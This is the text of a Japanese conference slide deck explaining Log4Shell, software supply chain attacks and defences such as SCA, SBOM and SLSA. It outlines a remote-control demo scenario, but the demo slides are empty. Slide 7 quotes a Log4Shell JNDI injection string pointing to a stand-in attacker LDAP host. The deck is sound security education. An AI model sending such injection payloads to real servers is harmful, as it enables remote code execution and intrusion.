Slide 1

Slide 1 text

端末が簡単にリモートから操作されるデモを通じて 
 ソフトウェアサプライチェーン攻撃対策の重要性を理解しよう JJUG CCC 2024 Fall 北島 悠
 #jjug_ccc #jjug_ccc_i

Slide 2

Slide 2 text

アジェンダ ● 自己紹介
 ● Log4Shellから約3年どんな脆弱性だったか
 ● ソフトウェアサプライチェーン攻撃
 ● リモートから操作されるイメージ
 ● デモ
 ● まとめ
 ● 最後に


Slide 3

Slide 3 text

自己紹介
 セキュリティアーキテクト(名乗ってます)
 ● セキュリティしか勝たん
 ● プリセールス、人材育成、啓蒙活動などなど
 ● @kitaji0306
 北島 悠(キタジー)


Slide 4

Slide 4 text

Log4Shellから約3年どんな脆弱性だったか


Slide 5

Slide 5 text

どんな脆弱性だったか 
 ● 2021年12月10日 くらいから話題となった
 ● Javaの有名ログライブラリApache Log4j2 起因
 ● サーバ内部でコード(コマンド)実行可能 
 リモートコード実行
 (RCE:Remote Code Execution)


Slide 6

Slide 6 text

当時の全社メール 
 2021年12月10日(金) SNSで情報拡散 画像引用元: JPCERT/CC:Apache Log4j2のRCE脆 弱性(CVE-2021-44228)を狙う攻撃観測 2021年12月13日(月)15:57 


Slide 7

Slide 7 text

攻撃の一連の流れ 
 LDAPを用いた攻撃の流れと各ポイントでの対策( GovCERT.chの記事より 概要図を引用) 外部から指定 可能なパラメー タやヘッダを利 用 User-Agent: ${jndi:ldap://evil.xa/x} 
 攻撃者が準備した LDAPサーバ Base64エンコード済 みのSerializeされた Javaオブジェクト Deserializeされた Javaオブジェクト の実行 JNDI Lookupという仕 様で解析されLDAP サーバへ通信

Slide 8

Slide 8 text

技術要素確認 
 ● JNDI(Java Naming and Directory Interface)
 ○ 外部リソース(LDAP等) に接続する仕組を提供
 ● LDAP(Lightweight Directory Access Protocol)
 ○ ディレクトリ(テキスト)情報 と通信するプロトコル
 ● Serialize(シリアライズ)
 ○ オブジェクト をbyte形式(テキストも可)に可逆変換


Slide 9

Slide 9 text

攻撃された具体例 
 画像引用:マインクラフト公式サイト (https://www.minecraft.net/ja-jp)

Slide 10

Slide 10 text

Log4shellという脆弱性の恐ろしいところ 
 ● 高リスクの脆弱性(CVSSスコア:10.0も有り)
 ○ リモートコード実行 はシステム侵入の起点にもなる
 ● パッチより先に攻撃方法のPoCが公開された
 ○ アプリケーションで即時防御不可能なゼロデイ攻撃 
 ● 多数のライブラリに暗黙的に内包されていた
 ○ アプリの影響範囲特定が難しい 
 ソフトウェアサプライチェーンの課題


Slide 11

Slide 11 text

ソフトウェアサプライチェーン攻撃


Slide 12

Slide 12 text

主にサプライヤーを経由する攻撃のこと
 サプライチェーン攻撃とは 
 大企業
 取引先
 海外子会社
 強固なセキュリティで直 接攻撃は困難 
 セキュリティ対策の甘 い関連企業を攻撃 
 間接的に攻撃 
 攻撃者


Slide 13

Slide 13 text

ソフトウェアサプライチェーン攻撃とは 
 監  視
 運  用
 デプロイ
 コード
 ビルド
 テスト
 計  画
 リリース
 Dev
 Ops
 脆弱コードを仕込む ゼロデイ攻撃 API連携先から攻撃 依存パッケージから攻撃 脆弱なコンテナイメージ テスト支援ツールから攻撃 主に各工程で利用するOSSに依存した攻撃


Slide 14

Slide 14 text

どうしたらOSSを安全に利用出来る? 
 早い段階でのリスク発見と対策が必要
 ● SCA(ソフトウェア構成分析)
 ○ 脆弱性スキャン による脆弱なライブラリの検知
 ● SBOM(ソフトウェア部品票)
 ○ ソフトウェアサプライチェーンの可視化
 ● SLSA(Supply-chain Levels for Software Artifacts)
 ○ 開発工程の成熟度 を測るセキュリティフレームワーク


Slide 15

Slide 15 text

リモートから操作されるイメージ


Slide 16

Slide 16 text

ファイル実行で動作 (従来のマルウェア) 
 仕様書.docx            …
 仕様書.docx            .exe
 ファイル名を長くし て拡張子を隠す (偽の拡張子は表 示される)
 気づかないで実行


Slide 17

Slide 17 text

コマンドを受信して動作 (ファイルレスマルウェア) 
 PC(Windows) 
 PC内部のPowerShell 
 C&C
 (コマンド&コントロール)サーバ 
 攻撃者
 Officeファイルやブ ラウザの脆弱性を 利用してスクリプトを 埋め込む
 スクリプトから PowerShellを起動
 C&Cサーバに接続
 マルウェアをダウンロー ドして活動開始
 ①
 ②
 ③
 ④


Slide 18

Slide 18 text

デモ


Slide 19

Slide 19 text

正当な理由なく
 ウイルス作成、実行、不正アクセスは
 犯罪です。
 
 駄目絶対!! 
 と、その前に


Slide 20

Slide 20 text

デモの登場人物及び環境 
 ● Attacker(攻撃者) 
 ○ AWS EC2
 ■ ここからリモート操作する(C&Cサーバ)
 
 ● Victim(被害者) 
 ○ ウイルス対策ソフトの入ったWindows11(このPC)
 ■ Java開発者がOSSのライブラリを利用したアプリを開発中


Slide 21

Slide 21 text

デモのシナリオ 
 ● 1:Attacker 
 ○ サーバで接続待ち受けコマンド実行
 
 ● 2:Victim 
 ○ ぬるぽライブラリを使った関数のテストを実行
 ■ マルウェアモドキをダウンロードしてC&Cサーバに接続
 
 ● 3:Attacker 
 ○ ぬるぽライブラリを実行したPCのコンソールを操作


Slide 22

Slide 22 text

デモ画面へGO


Slide 23

Slide 23 text

No content

Slide 24

Slide 24 text

No content

Slide 25

Slide 25 text

まとめ


Slide 26

Slide 26 text

まとめ
 ● Log4Shellは非常に恐ろしい脆弱性だった
 ○ 攻撃の仕組み を理解するだけでも有用
 ● ソフトウェアサプライチェーン攻撃対策
 ○ 開発工程早期のセキュリティ対策 が有用
 ● ツール(SSHやRDP)不要でリモート操作可能
 ○ 対策ソフト以外に各自のセキュリティ意識も重要 
 自分たちのソフトウェアを自分たちで守る


Slide 27

Slide 27 text

最後に


Slide 28

Slide 28 text

みんなの学びを少しでも公開すると
 新たな気づきを得る人が増えます。
 どこでも良いので
 アウトプット 
 してみましょ!!